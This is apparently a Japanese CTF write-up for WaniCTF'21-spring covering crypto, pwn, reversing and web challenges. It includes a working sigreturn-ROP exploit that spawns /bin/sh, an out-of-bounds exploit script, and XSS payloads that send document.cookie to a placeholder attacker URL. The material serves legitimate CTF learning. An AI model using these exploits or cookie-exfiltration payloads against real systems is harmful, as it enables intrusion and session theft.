WaniCTF'21-spring Writeup

Sun May 02 2021

4/30-5/2 で開催していた WaniCTF'21-spring に参加しました。5/1-5/2の期間は DEFCON とかぶっていたため4/30のみの参加でした。 最初は Crypto と Web だけ解こうかなと思っていたのですが、問題が親切・面白くて結局全部の問題に取り組みました。2問解けなかったのが悔しい…結果は 9th/353 (得点のあるチームのみカウント) でした。 解いた問題のうち勉強になった問題について writeup をメモします。

Crypto

OUCS

Okamoto-Uchiyama cryptosystem というものがあるらしい。 この問題では任意の数字を暗号化、復号化でき、またフラグの暗号も手に入ります。しかしフラグの復号だけは結果がわかりません。

2種類のメッセージ m1,m2m_1, m_2 について暗号化したものを考えると c1=gm1hr1,c2=gm2hr2c_1 = g^{m_1} h^{r_1}, c_2 = g^{m_2} h^{r_2} となります。 ここでこれらの積を復号することを考えます。 wikipedia と同様のノーテーションで、 aa を計算すると (積についての aaa12a_{12} とおきます)、

a12=((c1c2)p1modp2)1pa12p+1=(c1c2)p1modp2\begin{aligned} a_{12} &= \frac{((c_1 c_2)^{p-1} \mod p^2) - 1}{p} \\ a_{12}p + 1 &= (c_1 c_2)^{p-1} \mod p^2 \end{aligned}

が成立します。 c1c_1c2c_2 を単体で復号化するときに計算される aa をそれぞれ a1,a2a_1, a_2 とおくと、 aip+1=cip1modp2a_i p + 1 = c_i^{p-1} \mod p^2 となります。これらを使うと上式は

a12p+1=(a1p+1)(a2p+1)(a1+a2)p+1modp2a_{12}p+1 = (a_1 p + 1)(a_2 p + 1) \equiv (a_1 + a_2)p + 1 \mod p^2

となります。したがって a12a1+a2modpa_12 \equiv a_1 + a_2 \mod p です。 c1c2c_1c_2 の復号結果 m12m_{12} は、

m12=a12b1=(a1+a2)b1=m1+m2modpm_{12} = a_{12}b^{-1} = (a_1 + a_2) b^{-1} = m_1 + m_2 \mod p

となります。つまり、 enc(m1)enc(m2)=enc(m1+m2)enc(m_1)enc(m_2) = enc(m_1 + m_2) が成立します。

この関係性を使うことでこの問題は解くことができます。 m1m_1 としてフラグを、 m2m_2 を適当な定数として1を選択すると、

enc(flag)enc(1)=enc(flag+1)enc(\mathrm{flag}) enc(1) = enc(\mathrm{flag} + 1)

となります。この式で、左辺はオラクルで暗号化することによって求まり、それらの復号化も可能なため、 flag + 1 が手に入ります。

FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}

Pwn

06 SuperROP

sigreturn というのがあるんですね、知らなかった… pwntools の docs を参考に execve("/bin/sh", 0, 0) を sigreturn 後に呼び出すような payload を書きました。お手軽ですね。 刺さる問題は少ない気もする (これができるときは他の方法でも解けそう) けど、覚えておきたい。

from pwn import *

elf = ELF("./pwn-06-srop/pwn06")
context.binary = elf
_r = remote("srop.pwn.wanictf.org", 9006)
_r.recvuntil("buff : ")
buff_addr = int(_r.recvline().strip(), 16)

rop = ROP(elf)

payload = b"/bin/sh\x00"

# execve("/bin/sh", 0, 0) を呼べるように設定
frame = SigreturnFrame()
frame.rax = 0x3B
frame.rdi = buff_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0xDEADBEEF
frame.rip = 0x40117E

payload += (0x40 + 8 - len(payload)) * b"A"
rop.raw(0x40118C)  # mov rax, 0xf; ret
rop.raw(0x40117E)  # syscall
payload += rop.chain()
payload += bytes(frame)
_r.sendlineafter("Can you get the shell?\n", payload)
_r.interactive()

FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

07 Tower of Hanoi

32枚のハノイの塔を解く問題。 問題文が示すとおり、 2^32 - 1回の移動が必要なのですが、プログラムは alarm(30) がセットされており、1回の移動のたびに sleep(1) が呼ばれるため、30回までしか移動できずまともな方法ではクリアできそうにありません。

ソースコードを見ると、 // ??? という意味深なコメントがついている部分が2箇所ありました。 1つ目はここ。

void move_hanoi(char from, char to, int *pivot, int (*rod)[HANOI_SIZE]) {
  int src = (int)from - 65;
  int dst = (int)to - 65;
  if (abs(src) > 2 || abs(dst) > 2) {  // ???
    printf("That rod isn't where you can access!\n");
    return;
  }

srcdstA, B, C (int にするとそれぞれ65, 66, 67) が入る想定なのですが、 abs で取りうる値を制御しているため、 ?, @ (int にするとそれぞれ63, 64) でも通ってしまいます。

2つ目はここ。

int is_solved(int (*rod)[HANOI_SIZE]) {
  if (rod[0][HANOI_SIZE - 1] == 0 && rod[1][HANOI_SIZE - 1] == 0 &&
      rod[2][HANOI_SIZE - 1] == HANOI_SIZE)
    return 1;
  else
    return 0;
}

(snip)

    solved_flag = is_solved(rod);  // ???

終了判定が雑ですね。 rod の最下部がそれぞれ 0, 0, 32 になっていることだけを見ています。 直接 rod[0][31] から rod[2][31] に移動させることがもしできれば、この終了判定を1発で達成できそうです。

ここで1つ目のアクセス違反の脆弱性を考えます。 from = @ のとき、 rod[-1][pivot[-1]] から移動させることとなります。 rod[-1]rod からみて 4*32=128bytes 前のアドレスを参照しています。また pivot[-1]pivot からみて4bytes 前のアドレスを参照しています。 ここで、 pivot の4bytes 前のアドレスは、実は name[12: 16] の部分を指しています。すなわち、 name[12: 16] の部分に x の値を代入しておくと、 rod[-1][pivot[-1]]rod_addr - 128 + 4 * x のアドレスを参照することになります。 今やりたいことは rod[0][31] にアクセスすることなので、 x = 63 とすればよいことがわかります。

from pwn import *

_r = remote("hanoi.pwn.wanictf.org", 9007)
_r.sendafter("Name : ", b"\x00\x00\x00\x00" * 3 + b"\x3f\x00\x00\x00")
_r.sendafter("Move > ", "@C")
_r.sendafter("Move > ", "AB")  # なんでもいい
print(_r.recvall())

FLAG{5up3r_f457_h4n01_501v3r}

Reversing

licence

問題文が示す通り、 angr を使う問題です。

まず静的解析をすると、ファイルの先頭は -----BEGIN LICENCE KEY-----\n となっている必要があることがわかるため、追記します。 それ以降の箇所が解析困難な部分なため、そこに angr を使います。存在は知っていましたが使ったことはなかったため、ググりながら以下のコードを書いて解きました。 (自分の host 環境では angr.Project(...) の部分で落ちてしまった (ググった感じ、 manjaro OS 特有の問題っぽかった) ため、 docker 上で動かしました)

これ、ファイルのパスを指定するタイプのプログラムなのに、ファイルの中身のあるべき姿を自動で探索対象にしてくれるんですね、賢すぎる…

import angr

offset = 0x400000
p = angr.Project("./licence")
state = p.factory.entry_state(args=["./licence", "./key.dat"])
sim = p.factory.simulation_manager(state)
sim.explore(find=(offset + 0x5DFE,), avoid=(offset + 0x5DE1,))
if len(sim.found) > 0:
    print(sim.found[0].posix.dump_file_by_path("./key.dat"))

FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}

どうでもいい話ですが…ライセンスのスペルは license では?と思ってググってみるとイギリス/アメリカ英語で licence/license と違うみたいですね (https://whitebear0930.net/archives/15248)。

Web

Wani Request 2

XSS の問題。

page1 では wani=<img src=x onerror=alert(1)> のクエリを投げることでページに img が埋め込まれ、 onerror によって javascript が発火しました。cookie を入手するために以下を送信します。

https://request2.web.wanictf.org/page1?wani=%3Cimg%20src%3Dx%20onerror%3Ddocument.location=`MY_URL?c=${document.cookie}`%3E

page2 では <a href="javascript:alert(1)"> となるようにすることで、ページにアクセスすると javascript が発火しました。 cookie を入手するために以下を送信します。

javascript:location.href=`MY_URL?c=${document.cookie}`

FLAG{y0u_4r3_x55-60d_c75a4c80cf07}